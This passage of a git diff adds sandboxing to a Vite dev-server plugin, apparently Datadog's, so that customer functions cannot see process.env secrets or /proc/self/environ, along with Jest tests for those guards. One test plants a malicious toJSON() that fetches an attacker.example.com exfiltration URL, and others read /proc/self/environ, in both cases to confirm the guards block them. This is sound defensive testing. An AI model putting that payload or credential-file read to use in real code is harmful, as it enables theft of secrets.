} +} diff --git a/packages/plugins/apps/src/vite/guarded-wrapper.ts b/packages/plugins/apps/src/vite/guarded-wrapper.ts new file mode 100644 index 000000000..f7369b925 --- /dev/null +++ b/packages/plugins/apps/src/vite/guarded-wrapper.ts @@ -0,0 +1,49 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +// Shared `this`-forwarding wrapper for any guarded entry point that just calls through when +// `shouldBlock` returns false, and signals failure when it returns true. `shouldBlock` receives the +// call's own arguments so a caller can block on either a fixed, argument-independent condition +// (network-guard.ts's isCurrentlyBlocked()) or an argument-dependent one (env-guard.ts's check for +// whether this specific path/fd is the environ file, which can itself throw on an unrelated fs +// error like EACCES/ELOOP). `getReal` is a lazy getter, not the function itself, so a runtime swap +// of the real implementation (a test's spyOn/restoreMock, or a dependency reassigning the property) +// is picked up on the next call instead of being frozen at wrap time. 'throw' is for APIs that +// genuinely throw synchronously; 'reject' matches every Promise-returning target — in 'reject' mode +// a `shouldBlock` throw is itself converted into a rejection rather than escaping synchronously, +// matching the Promise-returning contract every 'reject' caller (e.g. fs.promises.*) actually has. +// `shouldBlock`'s parameter type can't be tied to F's own Parameters here: at every call site +// (wrapGuardedFsFn, guardNetworkPromiseMethod, ...) F is itself still a generic, unresolved type +// parameter, and TypeScript falls back to F's `never[]` constraint rather than the concrete +// signature it's eventually instantiated with — so a narrower type would reject every real +// `shouldBlock` implementation these callers actually pass. `unknown[]` is the accepted cost: it +// stops the compiler from catching a `shouldBlock` that reads the wrong argument position, so a new +// guarded entry point whose relevant argument isn't in position 0 needs that reviewed by hand. +export function makeGuardWrapper unknown>( + getReal: () => F, + shouldBlock: (...args: unknown[]) => boolean, + blockedMessage: string, + onBlocked: 'throw' | 'reject', +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + let blocked: boolean; + if (onBlocked === 'reject') { + try { + blocked = shouldBlock(...args); + } catch (error) { + return Promise.reject(error); + } + } else { + blocked = shouldBlock(...args); + } + if (!blocked) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + if (onBlocked === 'reject') { + return Promise.reject(new Error(blockedMessage)); + } + throw new Error(blockedMessage); + }; + return wrapper as unknown as F; +} diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index d9ec54581..ef2fbb660 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -5,12 +5,15 @@ /* global globalThis, NodeJS */ import type { Logger } from '@dd/core/types'; +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; import { mockLogFn, mockLogger, moduleResolverFor } from '@dd/tests/_jest/helpers/mocks'; +import fs from 'fs'; import * as shared from '../backend/shared'; import type { BackendFunction } from '../backend/types'; import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; +import { forceResetEnv } from './env-guard'; import { func, makePreviewRuntimeContext, @@ -75,9 +78,12 @@ function executeScriptLocally( ); } -// Same reasoning as network-guard.test.ts's own afterEach. +// Same reasoning as network-guard.test.ts's own afterEach, plus process.env: it's also a +// process-wide singleton, so a test that leaves it swapped would otherwise leak into every later +// test in this Jest worker. afterEach(() => { forceReset(); + forceResetEnv(); }); /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ @@ -182,6 +188,74 @@ describe('local-execution — executeScriptLocally', () => { expect(dollarDuringModuleLoad).toBeUndefined(); }); + test("Should scope process.env during a customer module's own top-level evaluation, not expose the dev server's real environment", async () => { + process.env.DD_TEST_REAL_SECRET = 'sk_live_real_secret'; + let secretDuringModuleLoad: unknown = 'not captured'; + const loadModule: LoadModule = async (specifier) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + secretDuringModuleLoad = process.env.DD_TEST_REAL_SECRET; + return { example: () => 'done' }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + try { + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'done' }); + expect(secretDuringModuleLoad).toBeUndefined(); + expect(process.env.DD_TEST_REAL_SECRET).toBe('sk_live_real_secret'); + } finally { + delete process.env.DD_TEST_REAL_SECRET; + } + }); + + test("Should install the fs environ guard before a customer module's own top-level evaluation runs, not just during the exported function's own body", async () => { + if (process.platform !== 'linux') { + return; + } + + let threwDuringModuleLoad = false; + const loadModule: LoadModule = async (specifier) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + try { + fs.readFileSync('/proc/self/environ'); + } catch { + threwDuringModuleLoad = true; + } + return { example: () => 'done' }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'done' }); + expect(threwDuringModuleLoad).toBe(true); + }); + test("Should return a pre-existing globalThis.$ during a customer module's top-level evaluation when something (e.g. zx/globals) seeded it before this module loaded", async () => { const originalDescriptor = Object.getOwnPropertyDescriptor(globalThis, '$'); const preExisting = { fromZxGlobals: true }; @@ -922,6 +996,156 @@ describe('local-execution — executeScriptLocally', () => { expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); }); + describe('env-guard integration', () => { + // Tests below spread process.env into an override object and assert on it; a failing + // assertion's Jest diff would otherwise serialize whatever process.env holds at that point, + // including this CI job's own real secrets. `originalEnv` is a small, fully-fake base + // instead of the real environment, so a failure here can only ever leak a placeholder. + const originalEnv: NodeJS.ProcessEnv = { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }; + + installFakeProcessEnv(originalEnv, { resetBetweenTests: true }); + + test("Should never expose the dev server's own DD_API_KEY to the customer function", async () => { + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.DD_API_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test("Should never expose an AWS-like credential from the developer's own shell to the customer function", async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.AWS_SECRET_ACCESS_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test('Should still expose PATH/HOME/NODE_ENV/TMPDIR to the customer function when set in the real environment', async () => { + process.env = { + ...originalEnv, + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => ({ + PATH: process.env.PATH, + HOME: process.env.HOME, + NODE_ENV: process.env.NODE_ENV, + TMPDIR: process.env.TMPDIR, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ + data: { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }, + }); + }); + + test('Should restore the real process.env after execution, whether the function resolves or throws', async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + const realEnvSnapshot = { ...process.env }; + + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'ok' }), + mockLogger, + ); + expect({ ...process.env }).toEqual(realEnvSnapshot); + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + throw new Error('boom'); + }, + }), + mockLogger, + ), + ).rejects.toThrow('boom'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // Regression coverage: the action-catalog/backend-runtime registrations resolve real npm + // package specifiers a customer project could itself declare — their own top-level code must + // never see the real, unscoped environment, the same guarantee already proven for the + // customer function itself above. + test("Should never expose the dev server's own DD_API_KEY to the action-catalog package's own load-time code", async () => { + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + + let envSeenDuringRegistration: string | undefined; + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { example: () => 'ok' }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + envSeenDuringRegistration = process.env.DD_API_KEY; + return { setExecuteActionImplementation: () => {} }; + } + const error: NodeJS.ErrnoException = new Error(`Cannot find module '${specifier}'`); + error.code = 'MODULE_NOT_FOUND'; + throw error; + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: 'ok' }); + expect(envSeenDuringRegistration).toBeUndefined(); + }); + }); + test('Should preserve preview context fields while overriding invocation-owned args and Actions', async () => { const getRuntimeContext = async () => ({ ...makePreviewRuntimeContext(), @@ -1469,6 +1693,62 @@ describe('local-execution — executeScriptLocally', () => { expect(executeAction).not.toHaveBeenCalled(); }); + // Mirrors the raw $.Actions path's malicious-toJSON() test — the action-catalog typed-wrapper path needed its own serialize-before-runAllowed fix since it doesn't share code with makeActionsProxy. + test("Should block a malicious toJSON() on an action-catalog typed-wrapper call's request from making a real network call under cover of the exemption", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + let fetchAttempt: Promise | undefined; + const maliciousRequest = { + inputs: { + text: 'hi', + toJSON() { + fetchAttempt = fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }, + connectionId: 'conn-1', + }; + + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.( + 'com.datadoghq.slack.chat.postMessage', + maliciousRequest, + ), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const error: NodeJS.ErrnoException = new Error(`Cannot find module '${specifier}'`); + error.code = 'MODULE_NOT_FOUND'; + throw error; + }; + + const result = await executeScriptLocally( + funcWithConnection, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + // Mirrors the action-catalog abandonment test — apps-backend's setBackend has the same shared-module-level-setter hazard. test("Should reject an abandoned execution's apps-backend accessor call once concluded", async () => { jest.spyOn(shared, 'isDatadogAppsBackendInstalled').mockReturnValue(true); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 5477c1759..a25d77dec 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -19,19 +19,31 @@ import { createEpochGuard } from './execution-epoch'; import type { BlockedScopeHandle } from './network-guard'; import { getTotalRetryDelayBudgetMs } from './retry-delay'; -// Lazy, memoized — network-guard.ts installs process-wide monkeypatches (net.Socket, fetch, dgram, -// dns, child_process, worker_threads.Worker) unconditionally at its own module-load time. A static +// Lazily imports and memoizes a guard module on first call, resetting the memo on a failed import +// so a later call can retry rather than being stuck replaying the same rejection forever. +function lazyImportOnce(loader: () => Promise): () => Promise { + let modulePromise: Promise | undefined; + return () => { + modulePromise ??= loader().catch((err: unknown) => { + modulePromise = undefined; + throw err; + }); + return modulePromise; + }; +} + +// network-guard.ts installs process-wide monkeypatches (net.Socket, fetch, dgram, dns, +// child_process, worker_threads.Worker) unconditionally at its own module-load time. A static // import here would trigger that install for every bundler that transitively imports this file via // index.ts (webpack/esbuild/rspack/rollup included), even though local execution is Vite-dev-only — // deferring the import until a local execution actually happens confines the install to Vite. -let networkGuardModule: Promise | undefined; -function getNetworkGuard(): Promise { - networkGuardModule ??= import('./network-guard').catch((err: unknown) => { - networkGuardModule = undefined; - throw err; - }); - return networkGuardModule; -} +const getNetworkGuard = lazyImportOnce(() => import('./network-guard')); + +// Same reasoning as getNetworkGuard() just above: env-guard.ts installs process-wide monkeypatches +// (fs.readFileSync/readFile/createReadStream/openSync/open and their promises variants, +// process.report.getReport/writeReport) unconditionally at its own module-load time. A static +// import here would trigger that install for every bundler, not just Vite. +const getEnvGuard = lazyImportOnce(() => import('./env-guard')); type RuntimeUser = { id: string; @@ -214,15 +226,32 @@ export function deriveActionTimeouts(longPolling: LongPollingConfig): { /** Loads a module by specifier, resolved against the customer's own project rather than build-plugins' dependency tree — the dev server passes its Vite instance's `ssrLoadModule` here. */ export type LoadModule = (specifier: string) => Promise>; -/** Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger real top-level evaluation ahead of `executeScriptLocally`. Accepted residual gap: this runs outside network-guard.ts's `runBlocked` scope (only the exported function's body is wrapped, not module-level evaluation), so a customer file's top-level code has real, unguarded network/subprocess access — not a hard security boundary, matching network-guard.ts's "no OS sandbox" framing. Awaits `getNetworkGuard()` first — the sole choke point every caller funnels through — so network-guard.ts's `trustedStdout`/`trustedStderr` capture (see that file) always happens before this unguarded window, not just before a later `runBlocked` call. */ +/** + * Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses + * (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger + * real top-level evaluation ahead of `executeScriptLocally`. Also scopes `process.env` for this + * load: `getEnvGuard()` installs env-guard.ts's fs/process.report monkeypatches as a side effect of + * the import, before `loadModule` ever runs a customer file — otherwise a dependency's top-level + * code could capture a reference to the real, unwrapped `fs.readFileSync` and use it later, bypassing + * the guard for the rest of the session regardless of when the guard is "active." Accepted residual + * gap: this load still runs outside network-guard.ts's `runBlocked` scope (only the exported + * function's own body is wrapped there, not module-level evaluation), so a customer file's top-level + * code has real, unguarded network/subprocess access — matches this file's own network-guard.ts's + * "no OS sandbox" framing, not a hard security boundary. Awaits `getNetworkGuard()` first — the sole + * choke point every caller funnels through — so network-guard.ts's `trustedStdout`/`trustedStderr` + * capture (see that file) always happens before this unguarded window, not just before a later + * `runBlocked` call. + */ export async function loadCustomerModuleEntry( loadModule: LoadModule, entrySpecifier: string, ): Promise> { await getNetworkGuard(); + const { buildScopedEnv, runWithScopedEnv } = await getEnvGuard(); + const scopedEnv = buildScopedEnv({}); return localExecutionResolutionContext.run(new Set(), () => customerModuleLoadContext.run({ assigned: false, value: undefined }, () => - loadModule(entrySpecifier), + runWithScopedEnv(scopedEnv, () => loadModule(entrySpecifier)), ), ); } @@ -756,17 +785,25 @@ async function runScriptLocally( blockedScope?.abandonIfCurrent(); }; - // Shared by both timeout paths below: concludes the execution, abandons its runBlocked scope - // (see abandonBlockedScope above), then rejects with the caller's own message. - const failWithTimeout = (message: string) => { + // Promise.race abandons a hung fn rather than cancelling it, so its own runBlocked/ + // runWithScopedEnv calls never reach their finally. abandonBlockedScope() only clears this + // scope's own network-guard handle if it's still current (see its own comment above) — the + // block itself stays enforced regardless, since blockedContext (an AsyncLocalStorage) keeps + // scoping the abandoned continuation on its own. env-guard.ts's process.env scoping is the same + // shape (its own AsyncLocalStorage, scopedEnvContext) — nothing needs forcing here, since an + // abandoned execution's continuation stays correctly bound to its own scope regardless of + // whatever a newer execution does with its own, separate scope. Shared by both timeout paths. + const abandonExecutionAndRejectWith = (error: Error) => { concludeExecution(); abandonBlockedScope(); - rejectTimeout?.(new Error(message)); + rejectTimeout?.(error); }; const scheduleTimeout = () => { timer = setTimeout(() => { - failWithTimeout(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`); + abandonExecutionAndRejectWith( + new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), + ); }, timeoutMs); }; @@ -776,8 +813,10 @@ async function runScriptLocally( const rearmAbsoluteTimeout = () => { clearTimeout(absoluteTimeoutTimer); absoluteTimeoutTimer = setTimeout(() => { - failWithTimeout( - `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, + abandonExecutionAndRejectWith( + new Error( + `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`, + ), ); }, totalExecutionTimeoutMs); }; @@ -855,19 +894,6 @@ async function runScriptLocally( // Scopes globalThis.$ and the dispatch info to this call's own async continuation chain. return await backendGlobalsContext.run({ value: $ }, () => executionDispatchContext.run(dispatch, async () => { - // Both adapters are stable and idempotent to re-register, so no coordination is needed between them or across executions. - const actionCatalogRegistration = registerActionCatalogIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - const backendRuntimeRegistration = registerBackendRuntimeIfInstalled( - loadModule, - projectRoot, - timeoutMs, - ); - await Promise.all([actionCatalogRegistration, backendRuntimeRegistration]); - const rejectIfAbandoned = () => { if (!scope.isCurrent()) { throw new Error( @@ -875,21 +901,60 @@ async function runScriptLocally( ); } }; - // Checked again after the await below — getNetworkGuard()'s dynamic import can - // itself take long enough (its first call in a process) for the timeout to fire - // in between, and the customer function must never run once already abandoned. + // Checked again below — getNetworkGuard()'s and getEnvGuard()'s dynamic imports + // can themselves take long enough (their first call in a process) for the + // timeout to fire while they load, and the customer function must never run once + // already abandoned. rejectIfAbandoned(); - // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls must run while access is still blocked. - const { runBlocked } = await getNetworkGuard(); + // Nests runBlocked (network/subprocess) with runWithScopedEnv (process.env) for + // the same window — independent globals, so nesting order doesn't matter. + // assertJsonSerializable runs inside both, since a malicious result's + // toJSON()/getter must run while access is still blocked/scoped. Loaded + // concurrently: neither guard's dynamic import depends on the other's result. + const networkGuardPromise = getNetworkGuard(); + const envGuardPromise = getEnvGuard(); + const [{ runBlocked }, { buildScopedEnv, runWithScopedEnv }] = + await Promise.all([networkGuardPromise, envGuardPromise]); rejectIfAbandoned(); - const data = await runBlocked( - async () => { - const result = await fn(...args); - return assertJsonSerializable(result, func); - }, - (handle) => { - blockedScope = handle; - }, + const scopedEnv = buildScopedEnv({}); + const data = await runWithScopedEnv(scopedEnv, () => + runBlocked( + async () => { + // Both adapters are stable and idempotent to re-register, so no + // coordination is needed between them or across executions. + // Registered here, inside the same env/network scope as the customer + // function itself (not before it, alongside the guard imports above): + // their loadModule() calls resolve real npm packages a customer + // project could itself declare, and that package's own top-level code + // would otherwise run with the real, unscoped environment and + // unblocked network on its first load in the process. + const actionCatalogRegistration = registerActionCatalogIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + const backendRuntimeRegistration = + registerBackendRuntimeIfInstalled( + loadModule, + projectRoot, + timeoutMs, + ); + await Promise.all([ + actionCatalogRegistration, + backendRuntimeRegistration, + ]); + // Registration's own loadModule() calls can themselves take long + // enough to cross the timeout, same reasoning as the guard imports' + // own checks above — the customer function must never run once + // already abandoned, even if only the cumulative delay crossed it. + rejectIfAbandoned(); + const result = await fn(...args); + return assertJsonSerializable(result, func); + }, + (handle) => { + blockedScope = handle; + }, + ), ); return { data }; }), diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts index 4e94ac48e..0c7623d33 100644 --- a/packages/plugins/apps/src/vite/network-guard.ts +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -16,6 +16,8 @@ import { promisify } from 'node:util'; import worker_threads from 'worker_threads'; import { createEpochGuard } from './execution-epoch'; +import { makeGuardWrapper } from './guarded-wrapper'; +import { getOrCreateShared } from './shared-module-singleton'; // No OS sandbox here (unlike prod's Deno) — blocks net/subprocess at the JS level, scoped per-call via AsyncLocalStorage, not a global toggle. @@ -28,21 +30,13 @@ const WORKER_THREAD_BLOCKED_MESSAGE = // Keyed on the real `net` module (not a per-module `new AsyncLocalStorage()`) since this file gets // evaluated more than once — bundled copies and Jest's per-test-file isolation — and every // evaluation needs the same store. `globalThis`/`process` are sandboxed per test file too; core -// modules aren't. +// modules aren't. isCurrentlyBlocked() is every guard's shared gate. function getSharedContext(key: string): AsyncLocalStorage { - const symbol = Symbol.for(`@dd/apps-plugin/network-guard ${key}`); - const registry = net as unknown as Record | undefined>; - if (!registry[symbol]) { - // Non-configurable/non-writable so no code holding a `net` reference can swap in a fake - // store and disable every guard at once (isCurrentlyBlocked() is their shared gate). - Object.defineProperty(registry, symbol, { - value: new AsyncLocalStorage(), - writable: false, - configurable: false, - enumerable: false, - }); - } - return registry[symbol] as AsyncLocalStorage; + return getOrCreateShared( + net, + `@dd/apps-plugin/network-guard ${key}`, + () => new AsyncLocalStorage(), + ); } // Scoped to the active `runBlocked` call's async chain, not process-wide, so unrelated concurrent callers aren't blocked too. @@ -256,27 +250,6 @@ function guardSocketEnd net.So return guardSocketOp(getReal, (socket) => socket) as unknown as F; } -// Shared `this`-forwarding wrapper for any guarded entry point that just calls through when -// unblocked and signals failure when blocked. 'throw' is for APIs that genuinely throw -// synchronously (guardSubprocess's spawnSync/execSync); 'reject' matches every Promise-returning -// target. -function makeGuardWrapper unknown>( - getReal: () => F, - blockedMessage: string, - onBlocked: 'throw' | 'reject', -): F { - const wrapper = function (this: unknown, ...args: unknown[]): unknown { - if (!isCurrentlyBlocked()) { - return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); - } - if (onBlocked === 'reject') { - return Promise.reject(new Error(blockedMessage)); - } - throw new Error(blockedMessage); - }; - return wrapper as unknown as F; -} - // net.Server.listen/dgram.Socket.bind/connect: their optional callback is a success-only shorthand // for the 'listening'/'connect' event (no error parameter per @types/node) — real failures only // ever reach the async 'error' event, so a synchronous throw here would surface as an uncaught @@ -317,7 +290,7 @@ function guardCallbackMethod unknown>(getReal: ( function guardNetworkPromiseMethod Promise>( getReal: () => F, ): F { - return makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'reject'); + return makeGuardWrapper(getReal, () => isCurrentlyBlocked(), NETWORK_BLOCKED_MESSAGE, 'reject'); } // Shared by guardWebSocket/guardEventSource/guardWorker. A Proxy construct trap, not a subclass, @@ -364,7 +337,12 @@ export function guardWorker(getReal: () => unknown): unknown { // execSync/execFileSync genuinely throw synchronously on failure — this guard is for those two // only. The rest have their own guards below matching each one's real (never-throws) contract. function guardSubprocess unknown>(getReal: () => F): F { - return makeGuardWrapper(getReal, SUBPROCESS_BLOCKED_MESSAGE, 'throw'); + return makeGuardWrapper( + getReal, + () => isCurrentlyBlocked(), + SUBPROCESS_BLOCKED_MESSAGE, + 'throw', + ); } // spawn()/fork() return a brand-new ChildProcess with no existing `this` to emit 'error' on, so @@ -517,7 +495,8 @@ function guardExecWithPromisifyCustom unknown>( installGuardedProperty( net.Socket.prototype, 'connect', - (getReal) => makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'throw'), + (getReal) => + makeGuardWrapper(getReal, () => isCurrentlyBlocked(), NETWORK_BLOCKED_MESSAGE, 'throw'), ); // A reused, already-connected keep-alive socket never calls connect() again for a second request — // write()/end() are the choke point every request still goes through, so guarding only connect() diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.test.ts b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts new file mode 100644 index 000000000..ea9487ca1 --- /dev/null +++ b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts @@ -0,0 +1,86 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +import { getOrCreateShared } from '@dd/apps-plugin/vite/shared-module-singleton'; + +describe('shared-module-singleton — getOrCreateShared', () => { + test("Should return the factory's created value on first call", () => { + const hostModule = {}; + const value = getOrCreateShared(hostModule, 'my-key', () => ({ count: 1 })); + expect(value).toEqual({ count: 1 }); + }); + + test('Should return the same instance on a second call with the same hostModule and key, not the second factory result', () => { + const hostModule = {}; + const first = getOrCreateShared(hostModule, 'my-key', () => ({ id: 'first' })); + const second = getOrCreateShared(hostModule, 'my-key', () => ({ id: 'second' })); + + expect(second).toBe(first); + expect(second).toEqual({ id: 'first' }); + }); + + test('Should call the factory only once across multiple calls, simulating a guard file being evaluated more than once', () => { + const hostModule = {}; + let factoryCallCount = 0; + const factory = () => { + factoryCallCount += 1; + return { factoryCallCount }; + }; + + getOrCreateShared(hostModule, 'my-key', factory); + getOrCreateShared(hostModule, 'my-key', factory); + getOrCreateShared(hostModule, 'my-key', factory); + + expect(factoryCallCount).toBe(1); + }); + + test('Should return different instances for different keys on the same hostModule', () => { + const hostModule = {}; + const a = getOrCreateShared(hostModule, 'key-a', () => ({ which: 'a' })); + const b = getOrCreateShared(hostModule, 'key-b', () => ({ which: 'b' })); + + expect(a).not.toBe(b); + expect(a).toEqual({ which: 'a' }); + expect(b).toEqual({ which: 'b' }); + }); + + test('Should return different instances for the same key on different hostModule objects', () => { + const hostModuleA = {}; + const hostModuleB = {}; + const a = getOrCreateShared(hostModuleA, 'shared-key', () => ({ owner: 'A' })); + const b = getOrCreateShared(hostModuleB, 'shared-key', () => ({ owner: 'B' })); + + expect(a).not.toBe(b); + expect(a).toEqual({ owner: 'A' }); + expect(b).toEqual({ owner: 'B' }); + }); + + test('Should recognize a falsy stored value as already installed, not call the factory again', () => { + const hostModule = {}; + let factoryCallCount = 0; + const factory = () => { + factoryCallCount += 1; + return false; + }; + + const first = getOrCreateShared(hostModule, 'my-key', factory); + const second = getOrCreateShared(hostModule, 'my-key', factory); + + expect(first).toBe(false); + expect(second).toBe(false); + expect(factoryCallCount).toBe(1); + }); + + test('Should store the value as non-configurable and non-writable, so no caller can swap or delete it', () => { + const hostModule = {}; + getOrCreateShared(hostModule, 'my-key', () => ({ id: 'original' })); + + const symbol = Object.getOwnPropertySymbols(hostModule)[0]; + const descriptor = Object.getOwnPropertyDescriptor(hostModule, symbol); + + expect(descriptor?.configurable).toBe(false); + expect(descriptor?.writable).toBe(false); + expect(descriptor?.enumerable).toBe(false); + }); +}); diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.ts b/packages/plugins/apps/src/vite/shared-module-singleton.ts new file mode 100644 index 000000000..e0ae594b8 --- /dev/null +++ b/packages/plugins/apps/src/vite/shared-module-singleton.ts @@ -0,0 +1,30 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/** + * Stashes a value on a stable Node core module (e.g. `fs`, `net`) keyed by `Symbol.for(key)`, so + * every re-evaluation of a guard file (bundled copies, Jest's per-test-file isolation) resolves the + * SAME instance instead of populating its own private one — used by env-guard.ts and + * network-guard.ts, both of which need one shared AsyncLocalStorage/state object across every + * evaluation of themselves. `factory` runs at most once per key; `Symbol.for`, not `Symbol()`, so a + * second evaluation recognizes the first evaluation's own installed value instead of minting its own + * separate slot. Non-configurable/non-writable so no code holding a reference to `hostModule` can + * swap in a fake value and disable every consumer of it at once. + */ +export function getOrCreateShared(hostModule: object, key: string, factory: () => T): T { + const symbol = Symbol.for(key); + const registry = hostModule as unknown as Record; + // An existence check, not a falsy check (`!registry[symbol]`): a factory whose T legitimately + // produces a falsy value (0, false, '', null) would otherwise never be recognized as already + // installed, and a second call would attempt to redefine an already configurable:false property. + if (!(symbol in registry)) { + Object.defineProperty(registry, symbol, { + value: factory(), + writable: false, + configurable: false, + enumerable: false, + }); + } + return registry[symbol] as T; +} diff --git a/packages/tests/src/_jest/helpers/env.test.ts b/packages/tests/src/_jest/helpers/env.test.ts new file mode 100644 index 000000000..8e2bfcb7b --- /dev/null +++ b/packages/tests/src/_jest/helpers/env.test.ts @@ -0,0 +1,28 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +// Side-effect-only import: installs env-guard.ts's process.env Proxy before this file's own +// describe blocks run, matching the exact precondition installFakeProcessEnv runs under in its +// real consumers (env-guard.test.ts, local-execution.test.ts both import env-guard.ts directly). +import '@dd/apps-plugin/vite/env-guard'; +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; + +// Set once, before any describe body's beforeAll swaps process.env — must survive round-tripping +// through installFakeProcessEnv's swap-and-restore for a later, sibling describe block to see it. +process.env.QA_RESTORE_MARKER = 'the-real-value-must-survive'; + +describe('installFakeProcessEnv — while the fake baseline is active', () => { + installFakeProcessEnv({ PATH: '/usr/bin' }); + + test('Should hide the real environment while the fake baseline is installed', () => { + expect(process.env.QA_RESTORE_MARKER).toBeUndefined(); + expect(process.env.PATH).toBe('/usr/bin'); + }); +}); + +describe('installFakeProcessEnv — after the fake baseline describe block finishes', () => { + test('Should have restored the real environment value, not left it stranded at the fake baseline', () => { + expect(process.env.QA_RESTORE_MARKER).toBe('the-real-value-must-survive'); + }); +}); diff --git a/packages/tests/src/_jest/helpers/env.ts 